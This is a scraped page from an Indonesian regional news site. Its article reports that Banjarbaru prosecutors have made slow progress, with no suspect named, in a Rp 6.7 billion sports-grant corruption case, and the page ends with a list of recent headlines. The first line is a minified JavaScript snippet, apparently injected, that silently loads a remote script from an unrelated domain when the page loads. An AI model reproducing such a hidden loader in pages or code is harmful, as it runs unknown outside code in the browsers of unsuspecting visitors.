(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Penyidikan Kasus Korupsi Dana Hibah KONI Banjarbaru Seperti Kura-Kura!


KANALKALIMANTAN.COM, BANJARBARU – Kasus penyelewengan dana hibah Komite Olahraga Nasional Indonesia (KONI) Banjarbaru sebesar Rp 6,7 miliar, masih belum menemukan titik terang sampai saat ini.

Hal itu terbukti sejak bergulirnya kasus ini dalam tahap penyidikan pada 2019 silam, Kejaksaan Negeri (Kejari) Banjarbaru belum bisa menetapkan satupun tersangka. Maka tak heran publik Banjarbaru menduga bahwa kasus ini terkesan hanya jalan di tempat.

Kendati demikian, Kepala Kejari Kota Banjarbaru Andri Irawan kembali menekankan bahwa proses penyidikan masih berjalan. Ia berdalih bahwa pihaknya masih menunggu proses perhitungan kerugian negara dari kasus ini.

“Proses perhitungan kerugian negara ini memang butuh waktu yang agak lama. Situasi pandemi Covid-19 juga turut memperlambat proses penyidikan. Jadi kami harus pintar-pintar memanfaatkan situasi bagaimana caranya agar tidak membahayakan bagi tim penyidik dan pihak yang diperiksa,” katanya.

Kepala Kejari Banjarbaru menegaskan bahwa proses penyidikan kasus KONI Banjarbaru akan tetap berjalan, meskipun lambat. Ia sendiri memiliki pribahasa untuk meyakinkan bahwa kasus ini tak akan pernah berjalan mundur.

“Meskipun lambat seperti kura-kura, namun tidak ada kura-kura yang berjalan mundur. Kura-kura akan tetap berjalan maju,” tandas Andri.

Kembali menyegarkan ingatakan, pada 2019 lalu, Kejari Banjarbaru mengumumkan telah melakukan penyidikan tentang dugaan tindak pidana korupsi dana hibah dari Pemko Banjarbaru kepada KONI Banjarbaru tahun anggaran 2018. Hal itu diumumkan melalui pers rilis bertepatan dengan Hari Bhakti Adhyaksa (HBA) ke-59.

Terungkapnya dugaan korupsi oleh KONI Banjarbaru ini, bermula adanya laporan dari masyarakat terkait adanya anggaran yang tidak sesuai dengan kegiatan yang dilakukan KONI.

Selama proses penyidikan yang telah berjalan lebih dari setahun itu, Kejari Banjarbaru telah memeriksa puluhan saksi baik itu dari pengurus KONI, pejabat Pemko Banjarbaru, hingga para atlet olahraga. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell

Al Ghifari

Recent Posts

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

51 menit ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

1 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

15 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

15 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

15 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

15 jam ago

This website uses cookies.